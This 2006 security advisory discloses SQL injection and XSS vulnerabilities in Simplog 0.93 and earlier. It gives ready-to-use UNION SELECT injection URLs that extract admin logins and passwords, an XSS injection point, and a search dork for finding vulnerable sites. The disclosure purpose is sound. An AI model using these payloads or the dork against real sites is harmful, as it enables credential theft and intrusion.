Advisory: Simplog <= 0.93 Multiple Remote Vulnerabilities. Apr 21 2006 09:54PM
Mustafa Can Bjorn IPEKCI (nukedx nukedx com)

--Security Report--
Advisory: Simplog <= 0.93 Multiple Remote Vulnerabilities.
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Author: Mustafa Can Bjorn "nukedx a.k.a nuker" IPEKCI
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Date: 21/04/06 22:13 PM
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Contacts:{
ICQ: 10072
MSN/Email: nukedx (at) nukedx (dot) com [email concealed]
Web: http://www.nukedx.com
}
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Vendor: Simplog (http://www.simplog.org/)
Version: 0.93 and prior versions must be affected.
About: Via this methods remote attacker can inject arbitrary SQL queries to
tid parameter in preview.php,
cid,pid and eid in archive.php and pid in comments.php.As u know rgod was
published advisory about version 0.92 but he
did not notice this SQL injections. He found other SQL injections on
archive.php but did not found these vulnerabilities.
Also there is cross site scripting vulnerability in imagelist.php's imagedir
parameter.
Level: Critical
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How&Example:
SQL Injection :
Needs MySQL > 4.0
GET -> http://[victim]/[simplogdir]/preview.php?adm=tem&blogid=1&tid=[SQL]
GET -> http://[victim]/[simplogdir]/archive.php?blogid=1&cid=[SQL]
GET -> http://[victim]/[simplogdir]/archive.php?blogid=1&pid=[SQL]
GET -> http://[victim]/[simplogdir]/archive.php?blogid=1&eid=[SQL]
EXAMPLE ->

http://[victim]/[simplogdir]/preview.php?adm=tem&blogid=1&tid=-1/**/UNIO
N/**/SELECT/**/
concat(25552,login,25553,password,25554)/**/from/**/blog_users/**/where/
**/admin=1/*
EXAMPLE ->

http://[victim]/[simplogdir]/archive.php?blogid=1&cid=-1/**/UNION/**/SEL
ECT/**/0,null,0,email,0,0,login,
password,0,admin,0/**/from/**/blog_users/**/where/**/admin=1/*
EXAMPLE ->

http://[victim]/[simplogdir]/archive.php?blogid=1&pid=-1/**/UNION/**/SEL
ECT/**/0,null,0,email,0,0,login,
password,0,admin,0/**/from/**/blog_users/**/where/**/admin=1/*
EXAMPLE ->

http://[victim]/[simplogdir]/archive.php?blogid=1&eid=-1/**/UNION/**/SEL
ECT/**/0,null,0,email,0,0,login,
password,0,admin,0/**/from/**/blog_users/**/where/**/admin=1/*
EXAMPLE ->

http://[victim]/[simplogdir]/comments.php?blogid=1&pid=-1/**/UNION/**/SE
LECT/**/0,null,0,email,0,0,login,
password,0,admin,0/**/from/**/blog_users/**/where/**/admin=1/*
with this examples remote attacker can leak speficied admins login
information from database.

XSS:
GET ->

http://[victim]/[simplogdir]/imagelist.php?blogid=1&act=add_entry&login=
1&imagedir=[XSS]

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Timeline:
* 21/04/2006: Vulnerability found.
* 21/04/2006: Contacted with vendor and waiting reply.
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Exploit:
http://www.nukedx.com/?getxpl=25
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Dorks: "powered by simplog"
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Original advisory can be found at: http://www.nukedx.com/?viewdoc=25

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